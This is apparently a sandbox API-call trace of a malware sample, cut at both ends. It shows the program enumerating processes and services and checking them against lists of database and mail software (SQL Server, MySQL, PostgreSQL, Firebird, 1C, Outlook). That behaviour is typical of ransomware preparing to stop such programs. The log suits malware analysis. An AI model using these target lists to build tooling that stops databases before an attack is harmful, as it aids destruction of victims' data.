szExeFile="taskhost.exe")) returned 1 [0266.243] lstrlenW (lpString="taskhost.exe") returned 12 [0266.243] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.244] lstrlenW (lpString="dllhost.exe") returned 11 [0266.244] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0266.245] lstrlenW (lpString="consent.exe") returned 11 [0266.246] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0266.246] CloseHandle (hObject=0x3d4) returned 1 [0266.247] Sleep (dwMilliseconds=0x1f4) [0266.875] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0266.876] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0266.878] GetLastError () returned 0xea [0266.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0266.878] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0266.880] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0266.880] lstrlenW (lpString="Appinfo") returned 7 [0266.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0266.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0266.881] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0266.881] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0266.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0266.881] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0266.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.882] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0266.882] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0266.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0266.882] lstrlenW (lpString="AudioSrv") returned 8 [0266.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0266.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0266.882] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0266.882] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0266.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0266.882] lstrlenW (lpString="BFE") returned 3 [0266.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0266.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0266.883] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0266.883] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0266.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0266.883] lstrlenW (lpString="CryptSvc") returned 8 [0266.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0266.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0266.883] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0266.883] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0266.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0266.883] lstrlenW (lpString="CscService") returned 10 [0266.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0266.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0266.884] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0266.884] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0266.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0266.884] lstrlenW (lpString="DcomLaunch") returned 10 [0266.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.884] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0266.884] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0266.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0266.884] lstrlenW (lpString="Dhcp") returned 4 [0266.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0266.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0266.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0266.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0266.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0266.885] lstrlenW (lpString="Dnscache") returned 8 [0266.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0266.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0266.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0266.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0266.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0266.885] lstrlenW (lpString="DPS") returned 3 [0266.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0266.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0266.886] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0266.886] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0266.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0266.886] lstrlenW (lpString="eventlog") returned 8 [0266.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0266.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0266.886] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0266.886] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0266.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0266.886] lstrlenW (lpString="EventSystem") returned 11 [0266.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0266.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0266.887] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0266.887] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0266.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0266.887] lstrlenW (lpString="gpsvc") returned 5 [0266.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0266.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0266.887] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0266.887] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0266.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0266.887] lstrlenW (lpString="iphlpsvc") returned 8 [0266.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.888] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0266.888] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0266.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0266.888] lstrlenW (lpString="LanmanServer") returned 12 [0266.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0266.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0266.888] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0266.888] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0266.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0266.888] lstrlenW (lpString="LanmanWorkstation") returned 17 [0266.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.888] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0266.889] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0266.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0266.889] lstrlenW (lpString="lmhosts") returned 7 [0266.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0266.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0266.889] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0266.889] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0266.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0266.889] lstrlenW (lpString="MMCSS") returned 5 [0266.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0266.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0266.890] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0266.890] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0266.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0266.890] lstrlenW (lpString="MpsSvc") returned 6 [0266.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0266.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0266.890] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0266.890] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0266.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0266.890] lstrlenW (lpString="Netman") returned 6 [0266.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0266.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0266.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0266.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0266.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0266.891] lstrlenW (lpString="netprofm") returned 8 [0266.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0266.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0266.891] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0266.891] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0266.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0266.891] lstrlenW (lpString="NlaSvc") returned 6 [0266.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0266.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0266.891] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0266.892] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0266.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0266.892] lstrlenW (lpString="nsi") returned 3 [0266.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0266.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0266.892] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0266.892] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0266.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0266.892] lstrlenW (lpString="PcaSvc") returned 6 [0266.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0266.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0266.892] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0266.893] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0266.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0266.893] lstrlenW (lpString="PlugPlay") returned 8 [0266.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0266.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0266.895] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0266.895] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0266.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0266.895] lstrlenW (lpString="Power") returned 5 [0266.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0266.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0266.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0266.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0266.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0266.896] lstrlenW (lpString="ProfSvc") returned 7 [0266.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0266.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0266.896] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0266.896] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0266.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0266.896] lstrlenW (lpString="RpcEptMapper") returned 12 [0266.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.897] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0266.897] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0266.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0266.897] lstrlenW (lpString="RpcSs") returned 5 [0266.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0266.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0266.897] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0266.897] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0266.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0266.897] lstrlenW (lpString="SamSs") returned 5 [0266.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0266.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0266.897] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0266.897] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0266.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0266.898] lstrlenW (lpString="Schedule") returned 8 [0266.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0266.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0266.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0266.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0266.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0266.898] lstrlenW (lpString="SENS") returned 4 [0266.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0266.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0266.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0266.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0266.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0266.898] lstrlenW (lpString="ShellHWDetection") returned 16 [0266.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.899] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0266.899] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0266.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0266.899] lstrlenW (lpString="Spooler") returned 7 [0266.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0266.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0266.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0266.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0266.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0266.899] lstrlenW (lpString="SysMain") returned 7 [0266.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0266.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0266.900] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0266.900] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0266.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0266.900] lstrlenW (lpString="Themes") returned 6 [0266.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0266.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0266.900] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0266.900] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0266.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0266.900] lstrlenW (lpString="TrkWks") returned 6 [0266.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0266.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0266.901] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0266.901] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0266.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0266.901] lstrlenW (lpString="UxSms") returned 5 [0266.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0266.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0266.901] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0266.901] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0266.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0266.901] lstrlenW (lpString="WdiServiceHost") returned 14 [0266.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0266.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0266.902] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0266.902] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0266.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0266.902] lstrlenW (lpString="WdiSystemHost") returned 13 [0266.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0266.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0266.902] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0266.902] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0266.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0266.902] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0266.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0266.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0266.903] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0266.903] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0266.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0266.903] lstrlenW (lpString="Winmgmt") returned 7 [0266.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0266.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0266.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0266.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0266.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0266.903] lstrlenW (lpString="WPDBusEnum") returned 10 [0266.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0266.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0266.903] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0266.903] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0266.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0266.904] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0266.904] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0266.909] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.910] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.911] lstrlenW (lpString="System") returned 6 [0266.911] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0266.911] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0266.911] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0266.911] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0266.911] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0266.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0266.912] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0266.912] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.913] lstrlenW (lpString="smss.exe") returned 8 [0266.913] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0266.913] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0266.913] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0266.913] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0266.913] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0266.913] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0266.913] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0266.913] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.914] lstrlenW (lpString="csrss.exe") returned 9 [0266.914] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.914] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.914] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.914] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.915] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.915] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.915] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0266.915] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.916] lstrlenW (lpString="wininit.exe") returned 11 [0266.916] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0266.916] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0266.916] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0266.916] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0266.916] lstrcmpiW 